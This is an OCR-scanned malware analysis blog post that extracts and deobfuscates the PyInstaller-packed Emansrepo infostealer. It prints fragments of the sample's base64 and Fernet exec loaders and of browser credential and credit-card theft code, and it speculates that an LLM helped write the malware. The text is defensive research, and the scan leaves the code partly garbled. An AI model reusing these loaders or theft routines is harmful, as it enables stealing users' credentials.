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Introduction

Emansrepo is a Python-based information stealer reported by Fortinet last month. The
variant we will examine in this blog is packaged with PylInstaller, enabling it to run on a
computer without requiring Python to be installed.

The primary focus of this blog is to extract the Python script from the PylInstaller-based
sample and then deobfuscate it to reveal the actual malware code. Finally, | will offer some
hypotheses linking Emansrepo to LLMs.

Extracting the Python Code

Pylnstaller Detection

The introduction to Pylnstaller is best given from their documentation:

Pylnstaller bundles a Python application and all its dependencies into a single
package. The user can run the packaged app without installing a Python interpreter or
any modules. It is not a cross-compiler; to make a Windows app you run Pylnstaller on
Windows, and to make a Linux app you run it on Linux, etc.

Since Pylnstaller-based packages are self-contained, the file size is expected to be larger
than that of typical C/C++-based malware. This is evident in the VirusTotal detections
snapshot at the beginning of this blog, with the sample size being ~22 MB.
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https://nikhilh-20.github.io/blog/emansrepo_deobfuscation/
https://www.fortinet.com/blog/threat-research/emansrepo-stealer-multi-vector-attack-chains
https://pyinstaller.org/en/stable/

Detect It Easy can identify a Pylnstaller-based package. Additionally, by examining the
printable strings (such as _MEIPASS), you can determine not only that the package is

Pylnstaller-based but also the Python version used, as shown in Fig. 1. The sample uses
Python 3.11.

Detect It Easy v3.09 [Windows 10 Version 2009] (x86_64) -

File name

> | |C:\Users\Ashura\Desktop\ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2bSa\ae2a5a02d0ef17

File type File size
PE64 v 21.91 MiB

Scan Endianness Mode Architecture Type
Automatic v LE 64-bit AMD64 GUI
¥ PE64

Operation system: Windows(Server 2003)[AMD64, 64-bit, GUI]

Linker: Microsoft Linker(14.36.32538)

Compiler: Microsoft Visual C/C++(19.36.32538)[C]

Language: C/C++

Tool: Visual Studio(2022 version 17.6)

| PackerPyinstaler
¥ Overlay: Binary

Data: ZLIB data[ZLIB compression best] S ?
Archive record[unpacked]: Binary

¥ T V.0 T Vg R ¥ IR W R W |
A IR IS B A b

015E76D5 bpython3.dll

D1ZE7EFS bpython3ll.dll

01SE7715 bpywin3Z2 system32i\pythoncom3ll.dll
D1SE7755 bpywin3Z system3Z2\pywintypes311l.dll

D15ETFES =zPYEZ-00.py=e
01SETFEE Tpython3ll.dll

Fig. 1: Pylnstaller and Python Version Detection

Pylnstaller bundles compiled Python scripts instead of source code. In the following sections,
we will examine how to go from a Pylnstaller executable to Python source code.

Extracting the Compiled Python Script

pyinstxtractor-ng can be used to extract the compiled Python scripts from the Pylnstaller-
based sample.
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https://github.com/horsicq/Detect-It-Easy
https://pyinstaller.org/en/stable/operating-mode.html#hiding-the-source-code
https://github.com/pyinstxtractor/pyinstxtractor-ng

.\pyinstxtractor-ng.exe.lnk
C:\Users\Ashura\Desktop\ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2
b5a\ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a

[+] Processing
C:\Users\Ashura\Desktop\ae2a5a02d0ef173b1d38a26c5a88b796T4ee2e8f36ee00931c468cd496fb2
b5a\ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a

[+] Pyinstaller version: 2.1+

[+] Python version: 3.11

[+] Length of package: 22339020 bytes

[+] Found 163 files in CArchive

[+] Beginning extraction...please standby

[+] Possible entry point: pyiboot01_bootstrap.pyc

[+] Possible entry point: pyi_rth_inspect.pyc

[+] Possible entry point: pyi_rth_pkgutil.pyc

[+] Possible entry point: pyi_rth_multiprocessing.pyc

[+] Possible entry point: pyi_rth_setuptools.pyc

[+] Possible entry point: pyi_rth_pkgres.pyc

[+] Possible entry point: pyi_rth_win32comgenpy.pyc

[+] Possible entry point: pyi_rth_pywintypes.pyc

[+] Possible entry point: pyi_rth_pythoncom.pyc

[+] Possible entry point: one.pyc

[+] Found 782 files in PYZ archive

[+] Successfully extracted pyinstaller archive:
C:\Users\Ashura\Desktop\ae2a5a02d0ef173b1d38a26c5a88b796T4ee2e8f36ee00931c468cd496fb2
b5a\ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496Tb2b5a

You can now use a python decompiler on the pyc files within the extracted directory

As expected, pyinstxtractor-ng also reported the Python version as 3.11. Multiple
potential entry points were identified, but one . pyc appears to be the most relevant. We will
decompile it next.

Decompile into Python Script

My first choice for a Python decompiler is pycdc. However, it wasn’t able to decompile
one.pyc due to an assertion error, as shown in Fig. 2. Multiple other issues (see #230, #262,
#298, #405) also reference this error. Perhaps some Python bytecode implementations have
not yet been covered.
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https://github.com/zrax/pycdc
https://github.com/zrax/pycdc/issues/230
https://github.com/zrax/pycdc/issues/262
https://github.com/zrax/pycdc/issues/298
https://github.com/zrax/pycdc/issues/405

FLARE-VM 03-10-2024 22:48:12.54
C:\Users\Ashura\Desktop\Tools\Pythonj
e00931cU68cdU96fb2b5a\ae2a5a02d0efl7
# Source Generated with Decompyle++
# File: one.pyc (Python 3.11) 0‘ Debug Assertion Failed!

Pa5a02d0ef173b1d38a26c5a88b796fUee2e8f36e
bfb2b5a_extracted\one.pyc

Microsoft Visual C++ Runtime Library

Program: C:\Tools\pycdc\Debug'pycdc.exe

File: C:\Program Files\Microsoft Visual
Studio\2022\Community\WC\Tools\MSVC\14,40,3380Tinclude\,
deque

Line: 1112

Expression: back() called on empty deque

For information on how your program can cause an assertion
failure, see the Visual C++ documentation on asserts.

(Press Retry to debug the application)

lgnore

Fig. 2: Error with pycdc

In situations like these, | turn to PyLingual, having had a good experience with the tool.
However, note that any submissions to PyLingual will be used by their team for R&D
purposes. If you have a sample that you cannot share, avoid using PyLingual.

Fig. 3 shows a snippet of the decompiled code, revealing a significant amount of junk code.
Out of the 1282 lines of decompiled code, most are junk, with the relevant code interspersed
between them.
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https://pylingual.io/

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: one.py

# Bytecode version: 3.11a7e (3495)

# Source timestamp: 1970-01-01 00:00:00 UTC (8)

import os

import requests

import json

import base64

import sqglite3

import shutil

from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES

from datetime import datetime

import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import threading

class wYcfYssIKnYTu5n40AG]jCsxWbVRXTMADGOCSQo:
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433

b8mQEyKdMEAPWGg5aLbOhouoTly@rhaZBFBriP = 73458445
XSaOUOAEbcn2kajVFmUpuPk8DwupZScOxHy2RO = 24433345
yRTUgyF1k5UweIMaxcxAgXQF ppxQVfupRMMjgv 98356957
pQRRBxbXpZNFcnsTWEOiRoBBRNYNt3I3SaEGre 93930798
yNgMHoFtGxpLLFAIQArwYLobUnzaojkoNDenSI 57362698
f3AMeYRqziOqwbX1LMzSsVIGtbTjYmizogy6CD = 79391736
A6dqvVizerlL300L1KUVkFgo3uZUhcuURjtj7FU 75867693
OwWNINQHEcMmIDvS4ViDqY2brRENgLHy@GFnfTp 34831650
h4vXjnlQL1iRbdYoDioHKutVomNZEHDDKwyrsO 66999541

class EqglSnhX19ojhKxgalWMeideyWlbuYJRyKONqy :
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433

b8mQEYKdMEAGWGEg5aLbOhouoTIly@rhaZBFBriP = 73458445
XSaOUOAEbcn2kajVFmUpuPk8DwupZScOxHy2RO = 24433345
yRTUgyF1k5UweIMaxcxAgXQF ppxQVTupRMMjgv 98356957
pPQRRBXbXpZNFcnsfWEOiRoBBRNYnt3I3SaEGre 93930798
yNgMHoFtGxpLLFAIQArwYLobUnzaojkoNDenST 57362698
f3AMeYRqziOqwbX1LMzSsVIGtbTjYmizogy6CD = 79391736
A6dqvVizerL300L1KUVkFgo3uZUhcuURjtj7FU 75867693
OWNINQHEcMmIDvS4ViDqY2brRENgLHy@GTnfTp 34831650
h4vXjnlQL1iRbdYoDioHKutVomNZEHDDKwyrsO 66999541

class egJlOobZ6irAHTWCVLAMhYjzQY1lcuGDCzN3RkUM:
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozTzEEbEd = 21336433
b8mQEyKdMEA@GWGg5al bOhouoTIy@rhaZBFBriP = 73458445
XSaOUOAEbcn2kajVFmUpuPk8DwupZScOxHy2RO = 24433345
yRTUgyF1k5UweIMaxcxAgXQF ppxQVFupRMMjgv 98356957
NORRR¥hXn7NFrn<fWFNiRARRRNYN-2T2C =070 = Q203A708

ength: 1,63,890 lines: 1,282 Ln:1,282 | Col:50 Pos:1,63,891

h4vXinlOL1iRbdYoDioHKutVomNZEHDDKwyvrsO = 66999541

import concurrent.futures

b = b'CmNsYXNzIHdZY2ZZc3NJS25ZVHU1bjRPQUAqQ3N4V2IWULlhUTUFER@9IDOVFvOgogICAgaGpxdUQzRDZWUVACSEhIYnNK
dgbVnKU9I535DmpPJzx7jECWDKWWQ2m8QhQsX8(base64.b64ddecode(b))

class wYcfYssIKnYTu5n40AGjCsxWbVRXTMADGOCO9Qo:
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433

Fig. 3: Decompilation with PyLingual

Deobfuscating the Python Code
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Deobfuscating the First Stage

Fig. 3 showed the decompiled Python code of the sample, marking the first stage of its
infection flow. The obfuscation technique is simple - insert junk code that follows specific
patterns. Notepad++ is sufficient for deobfuscating the code. Fig. 4 demonstrates that using
just three patterns to remove the junk code reduces the script from 1282 lines to only 45.
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Fig. 4: Deobfuscated First Stage

Find Next |

A

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: one.py

# Bytecode version: 3.11a7e (3495)

# Source timestamp: 1970-81-01 ©0:00:00 UTC (©)

import os

import requests

import json

import base64

import sqlite3

import shutil

from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES

from datetime import datetime

import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase

from email import encoders

import threading

import ctypes
import base64
import subprocess
import sqlite3
import json
import shutil
from cryptography.fernet import Fernet
except:
pass # postinserted
subprocess.run('python -m pip install cryptography', shell=True)
import requests
except:
pass # postinserted
subprocess.run('python -m pip install requests', shell=True)
from Crypto.Cipher import AES
except:
pass # postinserted
subprocess.run('python -m pip install Crypto', shell=True)

dgbVnKU9I535DmpPJzx7jECWDkWWQ2m8QhQsX8 = exec

import concurrent.futures

b = b'CmNsYXNzIHdZY2ZZc3NJS25ZVHU1bjRPQUdAqQ3N4V2IWU1hUTUFER@9DOVH

dgbVnKU9I5315DmpPJzx7jECWDkWWQ2m8QhQsX8 (base64 .b64decode(b))

The code base64-decodes a string and then executes it using exec.

CyberChef can be used to base64-decode the string, as shown in Fig. 5. This reveals the
obfuscated second stage. You may notice that the obfuscation technique is identical to the
one used in the first stage.
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https://notepad-plus-plus.org/
https://gchq.github.io/CyberChef/

Recipe ~ OB

From Base64 ~0
Alphabet
A-Za-z0-9+/= M Remove non-alphabet chars

|:| Strict mode

sree (AL D

Fig. 5: Obfuscated Second Stage

Deobfuscating the Second Stage

Aiita Rala

Input

CmNsYXNzIHdZY2ZZc3NJS25ZVHU1bjRPQUAGQ3N4V2IWU1hUTUFER®
AyMTMzNjQzMwpiOG1RRX1LZE1FQTB3R2c1YUxiT2hvdWoUSnkwcmhh
eEh5M1JPIDOgMjQOMzMzNDUKeVIUVWA5RGFrNVV3ZUINYXhjeEFnWF
JSb11udDNIMINhRUdYMCA9IDkzOTMWNzk4Cn10Z01Ib@ZOR3hWTEXG
MUxNe1NzVk1lHdGJUalltaXpvZ3k2QOQgPSA30TM5MTczNgpBNmRxd1l
hFY@1tSkR2UZRWaURXWTJIic1IFTnFMSHkwR2ZuZ1RwIDOgMzQ4MzE2

mec 103652 = 1

Output

|
class wYcfYssIKnYTu5n40AGjCsxWbVRXTMADGOC9Qo:
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433
b8mQEyKdMEAOWGg5aLbOhouoTIyOrhazBFBriP = 73458445
XSaOUOAEbcn2kajVFmUpuPk8DwupZScOxHy2RO = 24433345
yRTUgyF1k5UweIMaxcxAgXQFppxQVfupRMMjgv = 98356957
pPQRRBXxbXpZNFcnsfWEOiRoBBRNYNt3I3SaEGre = 93930798
yNgMHOFtGxpLLFAIQArwYLobUnzaojkoNDenSI = 57362698
f3AMeYRqz1i0qwbX1LMzSsVIGtbTjYmizogy6CD = 79391736
A6dqvVizerL300L1KUVkFgo3uZUhcuURjtj7FU = 75867693
OWNINQHEcMmJIDvS4ViDqY2brRENgLHy@GfnfTp = 34831650
h4vXjnlQL1iRbdYoDioHKutVomNZEHDDKwyrsO = 66999541
class EqglSnhX19o0jhkKxgalWMeideyWlbuYJRyKONqy :
h3jquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433
b8mQEyKdMEAOWGg5aLbOhouoTIyOrhazBFBriP = 73458445
XSaOUOAEbcn2kajVFmUpuPk8DwupZScOxHy2RO = 24433345
YRTUgyF1k5UweIMaxcxAgXQFppxQVfupRMMjgv = 98356957
PQRRBXbXpZNFcnsfWEOiRoBBRNnYNt3I3SaEGre = 93930798
yNgMHOFtGxpLLFAIQArwYLobUnzaojkoNDenSI = 57362698
f3AMeYRqz1i0qwbX1LMzSsVIGtbTjYmizogy6CD = 79391736
A6dqvVizerL300L1KUVkFgo3uZUhcuURjtj7FU = 75867693
OWNINQHEcMmJIDvS4ViDqY2brRENgLHy@GfnfTp = 34831650
h4vXjnlQL1iRbdYoDioHKutVomNZEHDDKwyrsO = 66999541
class egJOobZ6irAHfWCVLAMhYjzQY1lcuGDCzN3RKUM:
hjquD3D6VQWBHHIbsdPHDhAcqcu@kozfzEEbEd = 21336433
b8MOEVKdMEAGWGe5alLbOhouoTIvOrhaZBFBriP = 73458445

The deobfuscation in the second stage can be removed in the same way as in the first stage.

Fig. 6 shows the deobfuscated code.
import zlib
import base64

import cryptography
from cryptography.fernet import Fernet

encoded code = "Z@FBQUFBQmxjcVQtWVZ5RjFLc2FJa@RPW1lpJUmQyaHprcm42TGIeQmVFaldlenFDUUJtW1BTQ1FWY1hj
dgbVnKU9I5J5DmpPJzx7jECWDkWWQ2m8QhQsX8 = exec

encrypted_code = base64.b64decode(encoded_code)

decrypted_code = Fernet(b'cNXzShHJ@2wQEYspi_ fi817tN-al6yUZUYFeDCO88x0=").decrypt(encrypted_code)

decompressed_code = zlib.decompress(decrypted_code).decode( 'utf-8")
dgbVnKU9I5JI5DmpPlzx7] ECWDkwa2m8QhQsX8(decompr'essed_code)|

Fig. 6: Deobfuscated Second Stage
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The code base64-decodes a string and then decrypts it using the Fernet cipher with the key
cNXzShHJO2wQEYspi fig817tN-al6yUzZUYFeDC088x0=. The decrypted code is then executed
using exec.

The Third and Final Stage

The second stage Python code can be slightly modified to write the decrypted third stage to
disk instead of executing it, as shown in Fig. 7. Upon execution, we obtain the final stage:
Emansrepo.
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https://isc.sans.edu/diary/30146

import base64

import cryptography
rom cryptography.fernet import Fernet
encoded_code = "ZOFBQUFBQmxJjcVQtWVZ5RjFLc2FJa@RPW1pIUmQyaHprcm42TGIOQmVFaldlenFDUUJtWIBTQ1FWY1hij

encrypted_code = base64.b64decode(encoded_code
decrypted_code = Fernet(b'cNXzShHJ@2wQEYspi_fi817tN-al6yUZUYFeDC088x0=").decrypt(encrypted_code
Hecompressed_code = zlib.decompress(decrypted_code).decode('utf-8"

ith open("third stage.py", "w") as f
f.write(decompressed_code)

import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase

from email import encoders

import threading

appdata = os.getenv('LOCALAPPDATA"

user = os.path.expanduser

browsers
‘amigo’: appdata ‘\\Amigo\\User Data’
‘torch’: appdata ‘“\\Torch\\User Data’'
'kometa’: appdata '\\Kometa\\User Data’
‘orbitum': appdata "\\Orbitum\\User Data’

‘cent-browser': appdata "\\CentBrowser\\User Data’

'7star': appdata ‘\\7Star\\7Star\\User Data'

Fig. 7: Deobfuscated Third Stage

Emansrepo and LLM
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| have chosen not to dive into the infostealer aspect of the code, as its scope is limited to
stealing data stored in browsers. Additionally, it is a simple Python script, so interested

analysts can easily analyze it themselves.

However, upon reviewing the code, | have some observations to make:

1. When | first looked at the code, | noticed unnecessary line breaks. In my experience, |

sometimes encounter these when | copy and paste text from one location to another,
such as when copying text from the Ubuntu terminal into a GitHub PR description.
Perhaps this malware code was copy-pasted from somewhere.

2. The code is extremely readable, with great variable names, function names, and
comments. The control flow is easy to follow as well. I've encountered such readable
code generated by LLMs like ChatGPT or Claude. Perhaps this malware code was
generated with the help of an LLM, which could also explain the copy-pasting.

available_browsers installed_browsers

for browser in available_browsers
browser_path = browsers[browser

master_key = get_master_key(browser_path

login_data = get_login_data(browser_path, "Default”

credit_cards_data = get_credit_cards(browser_path

web_history data

get_web_history(browser_path

downloads_data = get_downloads(browser_path, "Default”

save_results(browser, 'Saved_Passwords', login_data

save_results(browser, 'Saved_Credit_Cards
save_results(browser, 'Browser_ History'

save_results(browser, ‘Download_History"®

zip_path = user "\\AppData\\Local\\Temp\\Browser.zip"

shutil.make_archive(user "\\AppData\\Local\\Temp\\Browser"

Fig. 8: Well-Written Emansrepo Code

"Default”

web_history_data

downloads_data

master_key

"Default”

credit_cards_data

‘zip"

master_key

user

"\\AppData\\Local\\Temp\\Browser"

10/11



Summary

In this blog, we examined the Emansrepo information stealer, focusing on a variant with
capabilities limited to stealing data from browsers. Our primary emphasis was on extracting
the Python code from the Pylnstaller-based sample and deobfuscating it by removing junk
code. Additionally, we hypothesized that Emansrepo may have been developed with the
assistance of an LLM, highlighting their potential to lower the barrier to entry into the
cybercrime world.
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